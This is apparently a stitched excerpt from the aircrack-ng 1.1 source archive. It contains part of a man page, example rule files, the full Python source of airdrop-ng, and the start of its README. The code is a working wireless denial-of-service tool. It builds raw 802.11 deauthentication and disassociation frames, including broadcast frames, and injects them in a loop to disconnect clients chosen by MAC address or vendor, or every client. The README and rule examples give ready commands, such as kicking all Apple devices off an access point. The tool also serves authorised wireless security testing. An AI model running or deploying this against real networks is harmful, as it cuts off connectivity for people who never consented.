-u .SH DESCRIPTION .BI airdrop-ng is a program used for targeted, rule-based deauthentication of users. It can target based on MAC address, type of hardware, (by using an OUI lookup, IE, "APPLE" devices) or completely deauthenticate ALL users. lorcon and pylorcon are used in the transmission of the deauth packets. .SH OPTIONS .TP .I -d , --driver Driver for injection. Supported drivers are: .br wlan-ng, hostap, airjack, prism54, madwifing, madwifiold, rtl8180, rt2570, rt2500, rt73, rt61, zd1211rw, bcm43xx, mac80211 . The default is mac80211. .TP .I -i , --interface Interface of the card for injection. IE, -i mon0 .TP .I -l , --logging Enable logging to a file. If a file path is not provided, airdrop-ng will log to default location. .TP .I -r , --rule This is what seperates airdrop-ng from other deauthentication applications. You can specify what users you want to kick off, based on MAC address, OUI, or completely kick everyone off. Multiple rules can be set. See dropRules.conf in the testing/ directory, or the README included with the installer. .TP .I -s , --sleep Time to sleep before sending next packet. .TP .I -t , --dump Path to the txt file in .CSV format from airodump-ng .TP .I -n , --nap Time to sleep between loops over rules and airodump csv file .TP .I -u , --update Updates OUI list and to latest version of airdrop-ng. .SH AUTHOR The application aircrack-ng was written by TheX1le, and King_Tuna. .br This manual page was written by Ronnie Tokazowski for Linux. .br Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation .SH SEE ALSO .br .B lorcon(3) aircrack-ng-1.1/scripts/airdrop-ng/docs/dropRules.conf.example0000644000000000000000000000316411342020747023177 0ustar rootroot#[comments] #All lines in this file are commented out # The # symbol at the front of a line denotes a commented line #airdrop-ng.py rule configuration file #a is allow #d is deny #format is (a or d)/bssid|(any or client mac or list of client macs in format of mac1,mac2,mac3) #it is not wise to mix rule types for example #d/any|00:17:AB:5C:DE:3A,00:1B:63:00:60:C4,apple #While i may work i have no idea result it will have and at this time is not recomended #EX d/bssid|mac1,mac2 #note this is not a valid rule just shows format the / and | placement do matter #MORE EXAMPLE RULES #d/00:1F:90:CA:0B:74|00:18:41:75:8E:4B #deny rule with a single client #d/any|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 #a deny rule for several clients on any AP #d/any|any #a global deny any any rule #A/00:17:3F:3A:F0:7E|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 #an allow rule with multiple clients #D/00-1E-58-00-FF-5E|00:19:7E:9A:66:96 #another deny rule with a differnt mac format #d/12:02:DC:02:10:00|any #a bssid deny any client rule #a/any|any #a global allow, no idea why you would wanna use this ;) #oui examples #d/any|Apple, Inc;APPLE COMPUTER;APPLE COMPUTER, INC.;Apple Computer Inc.;APPLE COMPUTER INC.;APPLE, INC #d/any|apple #d/action|broadcom #kicks only broadcom devices off actiontech routers #d/00:1F:3C|any #kicks all clients that match that oui #d/action|00:1F:3C kick any clinets off an actiontec router that match the oui #d/action|00:21:E9:3D:EB:45,00:17:AB:5C:DE:3A,00:1B:63:00:60:C4 #kick the following clients off an any actiontech router #d/00:17:3F:3A:F0:7E|apple kick any apple device off that ap aircrack-ng-1.1/scripts/airdrop-ng/support/0000755000000000000000000000000011364675642017515 5ustar rootrootaircrack-ng-1.1/scripts/airdrop-ng/airdrop-ng.py0000755000000000000000000010110311347522476020411 0ustar rootroot#!/usr/bin/env python #part of project lemonwedge __author__ = "TheX1le & King_Tuna" __version__ = "2010.2.26.2.00.00" __licence__ = "GPL2" """ Airdrop-ng A rule based wireless deauth tool a compoent of project lemonwedge Written by Thex1le and King_Tuna """ import sys, optparse, re, time, random, pdb, os #update the path with sub directories #lib for the libraries and support for the oui.txt file # adds possible paths for support modules sys.path.extend(["./lib","/usr/lib/airdrop-ng"]) import libDumpParse from time import sleep,localtime from colorize import bcolors import libOuiParse from binascii import a2b_hex class messages: """ handle all printing allows for central logging """ def __init__(self,log,dir="./logs"): """ int vars for printing class """ date = localtime() self.date = str(date[0])+str(date[1])+str(date[2]) self.time = str(date[3])+"-"+str(date[4])+"-"+str(date[5]) self.logging = log #log error messages to a file #logfile self.logfile = dir+'/Airdrop-'+self.date+"-"+self.time+".log" self.color = True #enable colors self.logBuff = [] #hold info before we write to a file if self.logging == True: try: file = open(self.logfile,'a') file.write(self.date+"-"+self.time+"\n") file.write("Airdrop-ng Logfile\n") file.close except IOError,e: self.logging = False self.printError(["Could not open file "+self.logfile+"\n\n", str(e)+"\n"]) def printMessage(self,message): """ print standard info messages """ TYPE = type(message).__name__ if TYPE == 'list': for line in message: print line elif TYPE == 'str': print message self.log(message,TYPE) def printError(self,error): """ write errors to stderr in red """ TYPE = type(error).__name__ if TYPE == 'list': for line in error: sys.stderr.write(bcolors.FAIL+line+"\n"+bcolors.ENDC) elif TYPE == 'str': sys.stderr.write(bcolors.FAIL+error+"\n"+bcolors.ENDC) self.log(error,TYPE) def log(self,data,TYPE): """ write all messages to a file """ if self.logging is False: return try: file = open(self.logfile,'a') except IOError,e: self.logging = False self.printError(["Could not open file "+self.logfile+"\n", str(e)+"\n"]) sys.exit(-1) if TYPE == 'list': for item in data: file.write(str(item)+"\n") #str allows me to print out data structures elif TYPE == 'str': file.write(data) file.close class parseFiles: """ parse users acl rules into a dict for matching """ def fileOpen(self,name): """ Open the file and read in the rules and remove \\n characters """ try: openFile = open(name,"r") except IOError,e: message.printError("\nAirdrop-ng rule file",name,"does not exist") sys.exit(-1) rules = openFile.xreadlines() cleanedRules = [] for line in rules: cleanedRules.append(line.rstrip()) openFile.close() return cleanedRules def translateOUI(self,ouiLst,flag): """ take an oui and find all matching mac addresses in the sniffed data """ clientLst =[] #empty client list to hold are found clients #check if were doing client oui beck or bssid oui check if flag == 'c': db = self.airoClient.keys() elif flag == 'b': db = self.airoAP.keys() for key in db: if key[:8] in ouiLst: clientLst.append(key) return clientLst def ruleParse(self,ruleRaw): """ parse the actual rules and return a dictionary """ clientList = [] pipe = ruleRaw.find('|') compTrue = ruleRaw[1:].find(',') clientOuiList = [] #list to store client ouis bssidOuiList = [] #list to store bssid ouis bssid = None #place holder bssidList = [] essidList = {} for ap in self.airoAP.values(): essidList[ap["essid"]] = ap["bssid"] if compTrue == -1: delim = ';' else: delim = ',' for postion in ruleRaw[pipe+1:].split(delim): if postion.upper() == "ANY": #client any break else: cmac = postion.upper().replace("-",":") if self.validMacChk(cmac) == True: #build a list of clients clientList.append(cmac) elif ouiLookup.compKeyChk(postion) == True: #company oui lookup #check to see if its an company name we can lookup clientOuiList.extend(ouiLookup.lookup_company(postion)) elif ouiLookup.ouiKeyChk(postion) == True: #oui match #check to see if its an oui we can lookup clientOuiList = [postion] else: message.printMessage([ "\nInvalid mac or company name", "at "+postion+" in "+ruleRaw," Moving on to next rule"]) return False #translate ouis then append them to client list if clientOuiList != []: clientList.extend( self.translateOUI(clientOuiList,'c') ) clientOuiList = [] #empty the var #begin bssid parse if ruleRaw[2:pipe].upper() != "ANY": bssidMac = ruleRaw[2:pipe].replace("-",":") valid = self.validMacChk(bssidMac) if valid == True : #match mac address bssidList = [bssidMac.upper()] elif bssidMac in essidList.keys(): for essid in essidList.keys(): if bssidMac == essid: bssidList.append(essidList[essid]) elif ouiLookup.compKeyChk(bssidMac) == True: #company oui lookup bssidOuiList.extend(ouiLookup.lookup_company(bssidMac)) if bssidOuiList != []: bssidList.extend( self.translateOUI(bssidOuiList,'b') ) bssidOuiList = [] #empty var elif ouiLookup.ouiKeyChk(bssidMac) == True: #oui match #check to see if its an oui we can lookup bssidOuiList = [bssidMac] bssidList = self.translateOUI(bssidOuiList,'b') bssidOuiList = [] #empty var else: message.printMessage([ "\nInvalid mac or company name", "at "+postion+" in "+ruleRaw," Moving on to next rule"]) return False else: bssidList = ["ANY"] if bssidList == []: message.printMessage(["\nInvalid mac in bssid section of "+ruleRaw, "Or no matching ouis found in sniffed data", "Moving on to next rule"]) return False state = ruleRaw[0].lower() if len(bssidList) <= 1: #if we only have one bssid we dont want to nest the dict in a list for bssid in bssidList: if clientList == [] and postion.upper() != 'ANY': ruleDict = { "state":state, "bssid":bssid, "clients":[postion], "raw":ruleRaw} if clientList == [] and postion.upper() == 'ANY': ruleDict = { "state":state, "bssid":bssid, "clients":"ANY", "raw":ruleRaw} else: ruleDict = { "state":state, "bssid":bssid, "clients":clientList, "raw":ruleRaw} elif len(bssidList) > 1: #if more then one bssid nest each rule dict in a list ruleDict = [] for bssid in bssidList: if clientList == [] and postion.upper() != 'ANY': ruleDict.append({ "state":state, "bssid":bssid, "clients":[postion], "raw":ruleRaw }) elif clientList == [] and postion.upper() == 'ANY': ruleDict.append({ "state":state, "bssid":bssid, "clients":"ANY", "raw":ruleRaw }) else: ruleDict.append({ "state":state, "bssid":bssid, "clients":clientList, "raw":ruleRaw }) return ruleDict def validChk(self,rule): """ find commented lines """ ruleStrip = rule.strip('\t').lstrip() if ruleStrip == "": return False elif ruleStrip[0] == "#": return False else: return True def commentOff(self,rules): """ This is a horrible hack but the idea is to remove the commented lines """ validRules = [] while len(rules) != 0: chkme = rules.pop() if self.validChk(chkme) == True: validRules.append(chkme.strip('\t').lstrip()) return validRules def run(self,fileName,AiroDBs): """ populate ruleList """ #are the airoDB's used by translate ouis self.airoClient = AiroDBs[0]#airodump client db self.airoAP = AiroDBs[1]#airodump ap DB fileRules = self.fileOpen(fileName) rawRules = self.commentOff(fileRules) ruleList = {} ruleCounter = 0 rawRules.reverse() #reverse the rules as they get loaded in backwards for rule in rawRules: #populate ruleList prule = self.ruleParse(rule) ruleCounter += 1 if prule != False: ruleList[ruleCounter] = prule else: continue return ruleList def validMacChk(self,mac): """ Check for valid mac address If Invalid exit and print invalid mac and error msg to user """ #regex will match format of DE:AD:BE:EF:00:00 or DE-AD-BE-EF-00-00 check = '([a-fA-F0-9]{2}[:|\-]?){6}' if re.match(check, mac): return True else: return False class ruleMatch: """ In the process of being depreciated Do Rule matching #NOTE in the future leave capr static and dont delete from it """ def __init__(self,rulesDB,capr,ClientApDB,debug): """ create vars for rule matching """ self.violators = {} #dict with bssid as a key and list #of clients as nested list these cleints are our targets self.rulesDB = rulesDB #rules database self.capr = capr #client to ap relationship self.ClientApDB = ClientApDB #Access point dict contain all info about each Ap self.debug = debug #debug flag self.violators = {} #dict with bssid as a key and list of clients self.bssid = None #bssid of the rule we are looking at self.state = None #state of the rule either allow or deny self.clients = [] #client list that are affected by the rules self.rule = None #entire rule so we can print for debug mode self.Client = None #the client we are currently working with self.fullRule = None #the entire dict for printing in error messages self.num = None #number of rule we are matching def locate_key(self): """ take a client and locate its coresponding bssid iterate though capr and find unknown bssid a client is associated with """ for bssidKey in self.capr: if self.Client in self.capr[bssidKey]: client_bssid = bssidKey #break at first match break else: #return none in client cant #be found in capr client_bssid = None return client_bssid def oui2mac(self,oui): """ #no longer used Take an oui find all clients that match and place them in a list """ OUItoMac = [] for mac in self.ClientApDB[0]: #keys are client macs if oui == mac[:8]: #if first 3 match match the oui #add them to the client list OUItoMac.append(mac) if OUItoMac != []: return OUItoMac else: #return none if the oui's dont match sniffed data return None def rm_dupe(self,List): """ Remove duplicates from list """ dict = {} for item in List: dict[item]=item return dict.values() def ruleQue(self): """ set global class values one at a time then call matcher """ for num in sorted(self.rulesDB.keys()): #make sure the rules are called in order #it stops iterating at one less then we need so add +1 if type(self.rulesDB[num]).__name__ == "list": for rule in self.rulesDB[num]: self.bssid = rule["bssid"] self.state = rule["state"] self.clients = rule["clients"] self.rule = rule["raw"] self.fullRule = str(rule) self.num = str(num) self.match() #call matching else: self.bssid = self.rulesDB[num]["bssid"] self.state = self.rulesDB[num]["state"] self.clients = self.rulesDB[num]["clients"] self.rule = self.rulesDB[num]["raw"] self.fullRule = str(self.rulesDB[num]) self.num = str(num) self.match() #call matching return self.violators #return kicklist def match(self): """ Main list of rule conditions to check """ if self.bssid != "ANY": if self.ClientApDB[1].has_key(self.bssid): self.channel = self.ClientApDB[1][self.bssid]["channel"] #if this var doesnt get set it casues an error else: message.printMessage([ "\nInvaid bssid "+self.bssid+" not found in sniffed data", "Rule number "+self.num,self.rule, "Moving to next rule\n"]) return #start rule matching if self.capr.has_key(self.bssid) or self.bssid == 'ANY': #check to make sure we have target bssid in capr #start allow rule matching if self.state == "a": if self.bssid != "ANY" and self.clients != "ANY": #allow client to bssid rule matching #if no any's delete clients we want to allow from capr #the rest are valid targets for client in self.clients: #update current working client self.Client = client try: #atempt to remove client from capr dict position = self.capr[self.bssid].index(self.Client) del self.capr[self.bssid][position] except ValueError: pass if self.violators.has_key(self.bssid): #set allow bcast to False self.violators[self.bssid][0]["allow"] = False #set channel incase it has changed self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":False,"channel":self.channel}, #support data [] #empty client list ] if self.debug == True: #debug flag message.printMessage(["Rule Number "+self.num, self.rule, self.fullRule, "Allow "+str(self.clients)+" client to "+self.bssid+" bssid\n"]) elif self.bssid != "ANY" and self.clients == "ANY": # #allow bssid any client rule matching #remove the bssid and all clients from our target list del self.capr[self.bssid] #remove the clients and the bssid from the target list #potential bug if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule, self.fullRule, "\nAll clients allowed to talk to "+self.bssid+" bssid", "No packets will be sent"]) elif self.bssid == "ANY" and self.clients == "ANY": #allow any any rule matching if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "All clients are allowed to all Aps No packets will be sent\n"]) message.printMessage(["\nReached "+self.rule+" "+self.fullRule, "Rule Number "+self.num, "Rule is allow any any no Packets will be sent"]) sys.exit(0) elif self.bssid == "ANY" and self.clients != "ANY": #allow some clients to talk to any AP for client in self.clients: self.Client = client self.bssid = self.locate_key() #set channel self.channel = self.ClientApDB[1][self.bssid]["channel"] #look up each client and update self.bssid if self.bssid == None: message.printMessage([ "\nClient "+self.Client+" not found in sniffed data,", "Client will be ignored"]) #continue #skip this client and move on to the next in the for loop return try: #locate the clients postion in capr position = self.capr[self.bssid].index(self.Client) del self.capr[self.bssid][position] #remove it from capr except ValueError: pass if self.violators.has_key(self.bssid): self.violators[self.bssid][0]["allow"] = False self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":False,"channel":self.channel}, #support data [] #empty client list ] if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Allow "+self.Client+" client to "+self.bssid+" bssid\n"]) else: message.printError(["ERROR in config file at:", "Rule Numer "+self.num, self.rule,self.rulesDB, "Could not match "+self.bssid+" or "+self.clients, "Please check the rule and try again"]) sys.exit(-1) #deny rule matching elif self.state == "d": if self.bssid == "ANY" and self.clients == "ANY": #global deauth #any any match rule message.printMessage(["\nReached global deauth at rule "+self.rule, "Rule Number "+self.num, "All clients that dont have a rule will be kicked at this point"]) for key in self.capr: #looping though to allow channel lookup self.bssid = key self.channel = self.ClientApDB[1][self.bssid]["channel"] if self.violators.has_key(self.bssid): #we assume at this point that the bcast allow has been set self.violators[self.bssid][1].extend( self.capr[self.bssid] #add all clients ) #update channel incase it changed self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":True,"channel":self.channel}, #support data self.capr[self.bssid] #list of clients to kick ] if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Deny "+str(self.capr[self.bssid])+" client to "+self.bssid+" bssid\n"]) #may change to a break since its an any any #continue #move on to the next rule in the list later ill prob break the iteration? elif self.bssid == "ANY" and self.clients != 'ANY': #deny any AP and select clients for client in self.clients: self.Client = client self.bssid = self.locate_key() if self.bssid == None: message.printMessage(["Unable to locate bssid for "+client, " Skipping\n"]) continue #set channel self.channel = self.ClientApDB[1][self.bssid]["channel"] if self.bssid == None: message.printMessage(["Client "+self.Client+" not found in sniffed data", "client will be ignored"]) #continue #skip this client and move on to the next in the for loop continue if self.capr.has_key(self.bssid): #checking for valid targets if self.violators.has_key(self.bssid): #extend the list of targets self.violators[self.bssid][1].append(self.Client) self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":False,"channel":self.channel}, [self.Client] ] if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Deny "+self.Client+" client to "+self.bssid+" bssid\n"]) elif self.bssid != "ANY" and self.clients == "ANY": #deny client any rule matching if self.violators.has_key(self.bssid): self.violators[self.bssid][1].extend(self.capr[self.bssid]) #remove any duplicate entries self.violators[self.bssid][1] = self.rm_dupe(self.violators[self.bssid][1]) self.violators[self.bssid][0]["channel"] = self.channel else: self.violators[self.bssid] = [ {"allow":True,"channel":self.channel}, self.capr[self.bssid] ] if self.debug == True: for client in self.violators[self.bssid][1]: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Deny "+client+" clients to "+self.bssid+" bssid\n"]) elif self.bssid != "ANY" and self.clients != "ANY": #deny between client and AP no anys used for client in self.clients: #do the following checks for each client self.Client = client if self.Client not in self.capr[self.bssid]: #if current client doesnt belong to current ap #dont generate a packet for it if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Client "+self.Client+" not attached to "+self.bssid, "Moving on\n"]) continue if self.violators.has_key(self.bssid): self.violators[self.bssid][1].append(self.Client) else: self.violators[self.bssid] =[ {"allow":False,"channel":self.channel}, [self.Client]] if self.debug == True: message.printMessage(["Rule Number "+self.num, self.rule,self.fullRule, "Deny "+self.Client+" client to "+self.bssid+" bssid\n"]) #do final processing on all affected clients #remove duplicates self.violators[self.bssid][1] = self.rm_dupe(self.violators[self.bssid][1]) #update channel on the card incase it changed self.violators[self.bssid][0]["channel"] = self.channel else: message.printMessage(["Config file error at line", self.rule,self.rulesDB[num], "State must be either an a for allow or d for deny"]) sys.exit(-1) return self.violators class packetGenerator: """ A collection of code for building packets """ def __init__(self,allow_bcast,destination_addr,source_addr,bss_id_addr,channel): """ intialize packet hex values """ self.packetTypes = { "deauth":'\xc0\x00', #deauthentication packet header "disass":'\xa0\x00' #disassoication packet header } self.packetBcast = { "ipv4":'\xff\xff\xff\xff\xff\xff', #ipv4 broadcast "ipv6":'\x33\x33\x00\x00\x00\x16', #ipv6 broadcast "stp":'\x01\x80\xc2\x00\x00\x00' #Spanning Tree broadcast } #note this also contains some multi cast addresses self.packetReason = [ '\x0a\x00', #Requested capability set is too broad '\x01\x00', #unspecified '\x05\x00', #disassociated due to insufficent resources at the ap '\x04\x00', #Inactivity timer expired '\x08\x00', #Station has left BSS or EBSS '\x02\x00' #Prior auth is not valid ] #reason codes #add more reason codes? self.allow_bcast = allow_bcast self.destination_addr = self.convertHex(destination_addr) self.source_addr = self.convertHex(source_addr) self.bss_id_addr = self.convertHex(bss_id_addr) self.channel = channel def buildPacket(self,type,dstAddr,srcAddr,bssid,reasonCode): """ Constructs the packets to be sent """ #packetParts positions are as follows #0:type 1:destination_addr 2:source_addr 3:bss_id_addr 4:reason packet = [type] #subtype packet.append('\x00\x00') #flags packet.append(srcAddr) #destain_addr packet.append(dstAddr) #source_addr packet.append(bssid) #bss_id_addr packet.append('\x70\x6a') #seq number packet.append(reasonCode) #reason code return "".join(packet) def convertHex(self,mac): """ convert a mac address to hex """ return a2b_hex(mac.replace(":","")) def packetEngine(self): """ Build each packet based on options """ packets = [] if self.allow_bcast == False: #broadcast packets will not be sent for type in self.packetTypes: # tx two packets with random reasons one two and one from packets.append([ self.buildPacket( self.packetTypes[type], #packet type self.destination_addr, #destinaion self.source_addr, #source self.bss_id_addr, #bssid self.randReason() #resoncode ), self.channel]) packets.append([ self.buildPacket( self.packetTypes[type], #packet type self.source_addr, #destination self.destination_addr, #source self.bss_id_addr, #bssid self.randReason() #reasoncode ), self.channel]) if self.allow_bcast == True: #broadcast packets will be sent for type in self.packetTypes: #tx two packets with random reasons one too bssid and one from bssid packets.append([ self.buildPacket( self.packetTypes[type], self.destination_addr, self.source_addr, self.bss_id_addr, self.randReason() ), self.channel]) packets.append([ self.buildPacket( self.packetTypes[type], self.source_addr, self.destination_addr, self.bss_id_addr, self.randReason() ), self.channel]) for bcast in self.packetBcast:#send bcast packets one two and one from packets.append([ self.buildPacket( self.packetTypes[type], #packet type self.packetBcast[bcast],#destination self.source_addr, #source self.bss_id_addr, #bssid self.randReason() #reasoncode ), self.channel]) packets.append([ self.buildPacket( self.packetTypes[type], #packet type self.source_addr, #destination self.packetBcast[bcast],#source self.bss_id_addr, #bssid self.randReason() #reasoncode ), self.channel]) return packets def randReason(self): """ Generate a random reason code for the kick """ return self.packetReason[ random.randrange( 0,len(self.packetReason),1 ) ] class getTargets(): """ Call parser for the airodump csv file and rule files """ def __init__(self,rules,data,debug): """ Init with all vars for getTargets class """ self.FileParsers = parseFiles() #call all file parsing functions self.AirParser = libDumpParse.airDumpParse() #call the airodump parser self.rules = rules #file name of rules file self.Airo = data #file name of airodump csv file self.debug = debug #debug flag self.targets = None #var to store matched targets in def dataParse(self): """ parse the user provided files and place their outputs into the rule matcher """ parsedAiro = self.AirParser.parser(self.Airo) parsedRules = self.FileParsers.run(self.rules,parsedAiro[1]) rMatch = ruleMatch(parsedRules,parsedAiro[0],parsedAiro[1],self.debug) return rMatch.ruleQue() def run(self): """ reparse all data every 4 seconds """ self.targets = self.dataParse() def lorconTX(pktNum=5,packet=None, channel=1 ,slept=0): """ Uses lorcon to send the actual packets """ #why the hell does pktNum default = 5? #pktNum is number each packet is sent count = 0 tx.setfunctionalmode("INJECT") if tx.getchannel() != channel: try: tx.setchannel(channel) #set the channel to send packets on except pylorcon.LorconError,e: message.printError(["\nError Message from lorcon:",str(e), "Unable to set channel card does not seem to support it", "Skipping packet"]) return False while count != pktNum: try: tx.txpacket(packet) except pylorcon.LorconError,e: message.printMessage(['\nError Message from lorcon:',str(e), "Are you sure you are using the correct driver with the -d option?", "Or try ifconfig up on the card you provided and its vap."]) sys.exit(-1) count += 1 else: if slept > 0: sleep(slept) return def makeMagic(targets,slept = 0): """ function where the targes are looped though and packets are sent to them """ packetQue = [] packetCount = 1 #hard coded number of how many copys of each packet is sent for bssid in targets: for client in targets[bssid][1]: engine = packetGenerator( targets[bssid][0]["allow"], client,bssid,bssid, targets[bssid][0]["channel"] ) packetQue.extend(engine.packetEngine()) numPackets = len(packetQue) message.printMessage( "\nAttempting to TX "+str(numPackets)+" packets "+str(packetCount)+" times each") while len(packetQue) != 0: lorconTX( packetCount, #number of packets to send packetQue[0][0], #packet in hex int(packetQue[0][1]) #channel to tx the packet on ) sleep(slept) del packetQue[0] #remove the sent packet from the que message.printMessage( "\nSent "+str(numPackets)+" packets "+str(packetCount)+" times each") return numPackets * packetCount def help(): """ function for lemonwedge intigration supports its show help call """ print "<"+"~"*59+">\n" print "Airdrop Module for rule based deauth" print "This module requires airodump-ng to run" print "Module options:\n" print "\t? These need to be set" def firstLoad(): """ provides var names need to run airdrop used for calling airdrop from PLW """ allfunctionlist = { "startAirdrop":{ "iface":"", #injection interface "driver":"mac80211", #driver of the card we inject with "adlog":os.getcwd()+"/log/airodump.log",#logfile to parse to decide on kick types "rules":os.getcwd()+"/support/", #the drop rules "slept":"0" #sleep time between each packet tx's } } return allfunctionlist def startAirdop(): """ function for calling airdrop from PLW """ pass def usage(): """ Prints the usage to use airgraph-ng """ print "\n"+bcolors.OKBLUE+"#"*49 print "#"+" "*13+bcolors.ENDC+"Welcome to AirDrop-ng"+bcolors.OKBLUE+" "*13+"#" print "#"*49+bcolors.ENDC+"\n" def commandUsage(): print "\nSample command line arguments:" print "\npython airdrop-ng.py -i mon0 -t airodump.csv -r rulefile.txt\n" def OUIupdate(): """ update the ouilist """ #note to self why the hell am i calling another function hear? #must be marfi's code # Marfi: Which was working.... message.printMessage("Updating OUI list...") ouiUpdate() sys.exit(0) if __name__ == "__main__": """ Main function. Parses command line input for proper switches and arguments. Error checking is done in here. Variables are defined and all calls are made from MAIN. """ usage() driverList = ['wlan-ng','hostap','airjack','prism54','madwifing','madwifiold', 'rtl8180','rt2570','rt2500','rt73','rt61','zd1211rw','bcm43xx','mac80211'] parser = optparse.OptionParser("usage: %prog options [-i,-t,-r] -d -s -p -b -n") # parser.add_option("-i", "--interface", dest="card",nargs=1, help="Wireless card in monitor mode to inject from") parser.add_option("-t", "--dump", dest="data", nargs=1 , help="Airodump txt file in CSV format NOT the pcap") parser.add_option("-p", "--nopsyco",dest="pysco",action="store_false", default=True,help="Disable the use of Psyco JIT") parser.add_option("-r", "--rule",dest="rule", nargs=1 ,help="Rule File for matched deauths") parser.add_option("-u", "--update",dest="OUIupdate", nargs=0, help="Updates OUI list") parser.add_option( "-d", "--driver", dest="driver", default="mac80211", nargs=1, help="Injection driver. Default is mac80211, Possible options are "+str(driverList), ) parser.add_option("-s", "--sleep",dest="slept",default=0,nargs=1,type="int",help="Time to sleep between sending each packet") parser.add_option("-b", "--debug",dest="debug",action="store_true",default=False,help="Turn on Rule Debugging") parser.add_option("-l", "--logging",dest="log",action="store_true",default=False,help="Enable Logging to a file, if file path not provided airdrop will log to default location") parser.add_option("-n", "--nap",dest="nap",default=0,nargs=1,help="Time to sleep between loops") if len(sys.argv) <= 1: #check and show help if no arugments are provided at runtime parser.print_help() commandUsage() sys.exit(0) (options, args) = parser.parse_args() #set the program loop value #************ #HUDGE CHANGE #************ #basicly all of this code needs to be moved to startAirdrop() #************ #HUDGE CHANGE #************ #commented old code for deletion #loop = True #start up printing if args == []: message = messages(options.log) else: message = messages(options.log,args[0]) TotalPacket = 0 #total packets tx'd if os.geteuid() != 0: message.printError(["airdrop-ng must be run as root.\n", "Please 'su' or 'sudo -i' and run again.\n","Exiting...\n\n"]) sys.exit(-1) if options.OUIupdate != None: libOuiParse.macOUI_lookup(None) if None in [options.card,options.rule,options.data]: message.printMessage("You are missing either -i, -t or -r") sys.exit(-1) elif options.driver not in driverList: message.printError(["Invalid Driver\n","Please use a lorcon supported driver\n", "You provided "+options.driver+".\n","Possible options are"]) message.printMessage(driver+"\n") sys.exit(-1) if options.pysco == True: #if false we wont use psyco #usefull when using pdb try: import psyco psyco.full() except ImportError: message.printMessage(" Psyco Not found you may wish to install it to increase speed") try: try: import pylorcon try: tx = pylorcon.Lorcon(options.card,options.driver) except pylorcon.LorconError,e: message.printMessage(["\n", e,"Interface "+options.card+" does not exist"]) sys.exit(-1) except ImportError: message.printMessage("\nPylorcon error, do you have it installed?") sys.exit(-1) try: #populate the oui lookup datatbases try: try: ouiLookup = libOuiParse.macOUI_lookup("./support/oui.txt") except IOError: ouiLookup = libOuiParse.macOUI_lookup("/usr/lib/airdrop-ng/oui.txt") except IOError: message.printError(["oui.txt not found in /usr/lib/airdrop-ng","or ./support/"]) message.printError("Please run python airdrop-ng -u") sys.exit(-1) except ImportError,e: message.printMessage(["\n",e,"ouiParser error"]) sys.exit(-1) #Start the main loop Targeting = getTargets(options.rule,options.data,options.debug) while True: Targeting.run() if Targeting.targets != None: TotalPacket += makeMagic(Targeting.targets,int(options.slept)) message.printMessage("Waiting "+str(options.nap)+" sec in between loops\n") sleep(float(options.nap)) except (KeyboardInterrupt, SystemExit): message.printMessage(["\nAirdrop-ng will now exit","Sent "+str(TotalPacket)+" Packets", "\nExiting Program, Please take your card "+options.card+" out of monitor mode"]) sys.exit(0) aircrack-ng-1.1/scripts/airdrop-ng/README0000644000000000000000000001201511342053113016633 0ustar rootroot _ _ _ _ ___ /_\ (_)_ __ __| |_ __ ___ _ __ /\ \ \/ _ \ //_\\| | '__/ _` | '__/ _ \| '_ \ _____ / \/ / /_\/ / _ \ | | | (_| | | | (_) | |_) |_____/ /\ / /_\\ \_/ \_/_|_| \__,_|_| \___/| .__/ \_\ \/\____/ |_| README Airdrop-ng is a rule based Deauth Tool Readme Written by Mubix & TheX1le ##################################################### # Dependencies and Installation # ##################################################### Supports Python 2.6 and may support 2.5 and 2.4. Dependencies: [*] lorcon-old aka lorcon version 1 (already installed on BT4 final) [*] pylorcon [*] A lorcon supported wireless card with monitor mode and injection Optional Dependencies: [*] pysco JIT ********************** * Installing lorcon * ********************** Currently we only support the older version of lorcon you can download these files from the following svn link: [*] svn co http://802.11ninja.net/svn/lorcon/branch/lorcon-old If pylorcon reports import errors you need to run the following command: [*] ln -s /usr/local/lib/liborcon-1.0.0.so /usr/lib This will create a symlink to the directory that pylorcon looks in for liborcon. If you are on ubuntu you will also need to install the python-dev package as they do not include the headers ##################################################### # Usage and Options # ##################################################### -t Airodump-ng CSV file location. It is highly recommended that you have Airodump-ng ACTIVELY RUNNING before and while you run Airdrop-ng. You should run Airodump-ng with the following options: # airodump-ng --write --output-format csv # EXAMPLE: airodump-ng wlan0 -w capture --output-format csv # this will write capture-01.csv to the current working directory -r Rule set config file location. docs/dropRules.conf.example contains several examples on how construct your rules please take a look at this file. The Rules are the core of what makes airdrop-ng so special and determine what clients get a kick and which ones are saved. Rules are run cascading order so make sure your allows are written before your denys. Adding a # to the front of a line comments out the line NOTE: The a/any|any rule... This rule currently causes the program to exit with a error message. This is by design as the tool allows by default. NOTE: By default if no rule exist for a client or ap airdrop-ng assumes that you wish to allow it. This can be changed by putting a d/any|any ##################################################### # Advanced Rule Writing # ##################################################### Rules based on OUI: Currently it only supports the company name or a single OUI, the format is as follows: Company name a or d /bssid or any|company name;company name; company name EXAMPLE: d/any|apple This example attacks only devices with OUI's matching "Apple" Notice the ; as a delimiter for company names this is because many company names contain comas. When writing rules make sure you check the oui.txt file in the support directory. There isn't a standard for company names. For example "Apple" has 11 unique names in the file. If you check the Apple.sample.txt file in the support directory you can see a list of each one of them. For all OUIs to be used you would need to write a rule that contained each company name. A newer and easier way is to use the built in regex function. Airdrop-ng will attempt to find all of company names for you a sample rule using this is: d/any|Sony Corporation or even better: d/any|sony The same can be done in the bssid field d/sony|any d/broadcom|apple The above example would kick any apple device off a broadcom radio AP The regular expression function is NOT case sensitive. This option while much faster only works well with companies that support proprietary hardware like Apple or Sony. This is not to say it wont work with others but it 